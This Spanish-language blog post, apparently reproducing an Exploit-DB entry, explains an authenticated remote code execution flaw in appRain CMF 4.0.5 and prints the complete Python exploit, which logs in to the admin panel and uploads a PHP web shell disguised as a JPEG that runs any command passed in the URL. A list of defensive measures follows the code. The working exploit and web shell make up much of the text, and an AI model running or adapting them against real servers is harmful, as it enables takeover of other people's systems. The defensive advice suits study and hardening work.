Protección Contra Ejecución Remota de Código en appRain CMF 4.0.5: Análisis y Medidas de Seguridad

Spread the love
Listen to this article

El exploit que mencionas es un exploit para appRain CMF 4.0.5 que permite la ejecución remota de código (RCE) autenticado. A continuación, te detallo la información y cómo funciona el exploit, seguido de medidas para defenderse de este tipo de vulnerabilidades.

Descripción del Exploit

El exploit permite a un atacante ejecutar código de manera remota en un servidor que ejecuta la versión 4.0.5 de appRain CMF, siempre que tenga credenciales válidas para acceder al sistema administrativo. La vulnerabilidad se aprovecha a través del módulo de administración del sistema y la funcionalidad de carga de archivos.

Funcionamiento del Exploit

El script realiza las siguientes acciones:

  1. Inicio de sesión:
    • El atacante se autentica en el sistema administrativo de appRain utilizando un nombre de usuario y una contraseña válidos.
    • La función login realiza una solicitud POST al URL de inicio de sesión del administrador (https://sitio.com/admin/system) con las credenciales proporcionadas.
    • Si el inicio de sesión es exitoso, se crea una sesión que se utilizará para las siguientes operaciones.
  2. Carga del Web Shell:
    • Una vez autenticado, el script genera un nombre aleatorio para el archivo que se cargará.
    • La función upload_shell carga un archivo malicioso (un Web Shell PHP) a través de la funcionalidad de carga de archivos del administrador (https://sitio.com/admin/filemanager/upload).
    • Este archivo permite al atacante ejecutar comandos del sistema desde el navegador.
  3. Acceso al Web Shell:
    • Si la carga es exitosa, el atacante puede acceder al Web Shell navegando a la URL donde se ha almacenado el archivo cargado.

Código del Exploit

Aquí tienes el código del exploit : python

import requests
import sys
import time
import random
import string

def generate_filename():
""" Generate a 5-character random string for filename. """
return ''.join(random.choices(string.ascii_lowercase, k=5)) + ".inc"

def login(site, username, password):
print("Logging in...")
time.sleep(2)
login_url = f"https://{site}/admin/system"
session = requests.Session()
login_data = {
'data[Admin][admin_id]': username,
'data[Admin][admin_password]': password
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
response = session.post(login_url, data=login_data, headers=headers)
if "Logout" in response.text:
print("Login Successful!")
return session
else:
print("Login Failed!")
sys.exit()

def upload_shell(session, site):
print("Shell preparing...")
time.sleep(2)
filename = generate_filename()
upload_url = f"https://{site}/admin/filemanager/upload"

files = {
'data[filemanager][image]': (filename, "<html><body><form method='GET' name='<?php echo basename($_SERVER['PHP_SELF']); ?>'><input type='TEXT' name='cmd' autofocus id='cmd' size='80'><input type='SUBMIT' value='Execute'></form><pre><?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?></pre></body></html>", 'image/jpeg')
}
data = {
'submit': 'Upload'
}
response = session.post(upload_url, files=files, data=data)
if response.status_code == 200 and "uploaded successfully" in response.text:
print(f"Your Shell is Ready: https://{site}/uploads/filemanager/{filename}")
else:
print("Exploit Failed!")
sys.exit()

if __name__ == "__main__":
print("Exploiting...")
time.sleep(2)
if len(sys.argv) != 4:
print("Usage: python exploit.py sitename.com username password")
sys.exit()
site = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
session = login(site, username, password)
upload_shell(session, site)

Defensas Contra el Exploit

Para protegerte de este tipo de vulnerabilidades, puedes seguir varias prácticas de seguridad:

  1. Actualizar el Software:
    • Asegúrate de usar la última versión de appRain CMF o cualquier software, ya que las actualizaciones suelen incluir parches de seguridad que corrigen vulnerabilidades conocidas.
  2. Restricción de Acceso:
    • Limita el acceso al panel de administración a IPs confiables.
    • Utiliza autenticación multifactor (MFA) para una capa adicional de seguridad.
  3. Validación y Filtrado de Entradas:
    • Implementa validación y filtrado estrictos en todos los puntos de entrada de datos, especialmente en formularios de carga de archivos.
    • Asegúrate de que solo se puedan cargar archivos de tipos permitidos y valida el contenido del archivo para evitar la carga de scripts maliciosos.
  4. Configuración del Servidor Web:
    • Configura el servidor web para que no ejecute scripts desde directorios de carga.
    • Usa permisos adecuados para los archivos y directorios del servidor.
  5. Monitorización y Alerta:
    • Implementa sistemas de detección y prevención de intrusiones (IDS/IPS).
    • Monitorea los registros de acceso y de errores para detectar actividad sospechosa.
  6. Seguridad en el Desarrollo:
    • Adopta prácticas de desarrollo seguro, incluyendo auditorías de código y pruebas de penetración periódicas.

Implementar estas medidas ayudará a mitigar el riesgo de ser explotado a través de vulnerabilidades como la descrita.


https://www.exploit-db.com/exploits/52041
0 0 votos
Article Rating
Suscribir
Notificar de
guest
0 Comments
Comentarios en línea
Ver todos los comentarios